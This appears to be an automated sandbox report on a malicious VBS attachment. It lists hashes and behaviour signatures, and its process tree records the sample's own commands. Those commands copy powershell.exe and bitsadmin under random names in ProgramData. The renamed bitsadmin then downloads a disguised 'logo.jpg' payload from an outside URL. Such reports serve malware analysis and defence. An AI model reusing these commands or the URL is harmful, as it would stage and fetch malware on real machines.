Analysis
- max time kernel
123s - max time network
124s - platform
windows7_x64 - resource
win7v20201028 - submitted
30/11/2020, 14:04
Static task
static1
Behavioral task
behavioral1
Sample
Allegato_GRCPTR56P29G273X.vbs
Resource
win7v20201028
0 signatures
0 seconds
General
- Target Allegato_GRCPTR56P29G273X.vbs
- Size 6KB
- Sample201130-hvly2vhsjs
- SHA256 a068043f049b5b816f6880efd88254fd00603992cfaefd005813530e95d47061
- MD5 117b47e28ec75072e0b194c62747fe96
- SHA1 7a6afd4fde5ffed19dee9f039734feace7881b22
- SHA512 ee098cb9c9a8585ecfa18be9b200523aab64b48ba5650629fd7a5d0923d0b86cae1d1e305a0ff187cde149a59f4450e5b7479da6dc415c8781f1ab3f2a253204
- MD5 SHA1 SHA512
Malware Config
Signatures
- Executes dropped EXE 1 IoCs
pid Process 2000 OsSlfIOin.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious use of WriteProcessMemory 13 IoCs
description pid Process procid_target PID 1424 wrote to memory of 1764 1424 WScript.exe 26 PID 1424 wrote to memory of 1764 1424 WScript.exe 26 PID 1424 wrote to memory of 1764 1424 WScript.exe 26 PID 1764 wrote to memory of 760 1764 cmd.exe 28 PID 1764 wrote to memory of 760 1764 cmd.exe 28 PID 1764 wrote to memory of 760 1764 cmd.exe 28 PID 1764 wrote to memory of 696 1764 cmd.exe 29 PID 1764 wrote to memory of 696 1764 cmd.exe 29 PID 1764 wrote to memory of 696 1764 cmd.exe 29 PID 1424 wrote to memory of 2000 1424 WScript.exe 30 PID 1424 wrote to memory of 2000 1424 WScript.exe 30 PID 1424 wrote to memory of 2000 1424 WScript.exe 30 PID 1424 wrote to memory of 2000 1424 WScript.exe 30
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Allegato_GRCPTR56P29G273X.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:1424 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zArjMdCO.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\OsSlfIO*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:1764 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zArjMdCO.exe3⤵PID:760
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C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\OsSlfIO*.exe3⤵PID:696
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C:\ProgramData\OsSlfIOin.exe"C:\ProgramData\OsSlfIOin.exe" /transfer tAdvfv /download https://estebankott.com/ordasum/GRCPTR56P29G273X/logo.jpg C:\Users\Admin\AppData\Roaming\logo.jpg2⤵
- Executes dropped EXE
PID:2000
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